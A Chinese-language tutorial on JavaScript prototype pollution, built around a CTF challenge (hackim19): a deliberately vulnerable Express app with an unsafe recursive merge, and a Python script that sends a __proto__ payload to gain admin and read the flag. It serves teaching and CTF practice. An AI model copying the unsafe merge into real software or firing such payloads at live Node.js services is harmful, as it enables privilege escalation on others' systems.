原型链污染原理
我们来看看下面这个语句:
object[a][b] = value
如果我们可以控制 a、b、value 的值,将 a 设置为__proto__
,那么我们就可以给 object 对象的原型设置一个 b 属性,值为 value。这样所有继承 object 对象原型的实例对象就会在本身不拥有 b 属性的情况下,都会拥有b属性,且值为value。
来看一个简单的例子:
object1 = {"a":1, "b":2}; object1.__proto__.foo = "Hello World"; console.log(object1.foo); object2 = {"c":1, "d":2}; console.log(object2.foo);
最终会输出两个 Hello World。为什么 object2 在没有设置 foo 属性的情况下,也会输出 Hello World 呢?就是因为在第二条语句中,我们对 object1 的原型对象设置了一个 foo 属性,而 object2 和 object1 一样,都是继承了 Object.prototype。在获取 object2.foo 时,由于 object2 本身不存在 foo 属性,就会往父类 Object.prototype 中去寻找。这就造成了一个原型链污染,所以原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象。
原型链污染案例
Merge 类操作导致原型链污染
Merge 类操作是最常见可能控制键名的操作,也最能被原型链攻击。
给出一个例子:
'use strict'; const express = require('express'); const bodyParser = require('body-parser') const cookieParser = require('cookie-parser'); const path = require('path'); const isObject = obj => obj && obj.constructor && obj.constructor === Object; function merge(a, b) { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } function clone(a) { return merge({}, a); } // Constants const PORT = 8080; const HOST = '0.0.0.0'; const admin = {}; //admin没有值,则要进行污染 // App const app = express(); app.use(bodyParser.json()) //调用中间件解析json app.use(cookieParser()); app.use('/', express.static(path.join(__dirname, 'views'))); app.post('/signup', (req, res) => { var body = JSON.parse(JSON.stringify(req.body)); var copybody = clone(body) if (copybody.name) { res.cookie('name', copybody.name).json({ "done": "cookie set" }); } else { res.json({ "error": "cookie not set" }) } }); app.get('/getFlag', (req, res) => { var аdmin = JSON.parse(JSON.stringify(req.cookies)) if (admin.аdmin == 1) { res.send("hackim19{}"); } else { res.send("You are not authorized"); } }); app.listen(PORT, HOST); console.log(`Running on http://${HOST}:${PORT}`);
通过分析题目,其中有一个敏感函数merge,merge 函数作用是进行对象的合并,其中涉及到了对象的赋值,且键值可控,这样就可以触发原形链污染了。
进行payload编写,进行污染。
import requests import json url1 = "http://127.0.0.1:8080/signup" url2 = "http://127.0.0.1:8080/getflag" s = requests.session() headers = {"Context-Type": "application/json"} data1 = {"__proto__": {"admin": 1}} res1 = s.post(url1, headers=headers, data=json.dumps(data1)) res2 = s.get(url2) print (res2.text)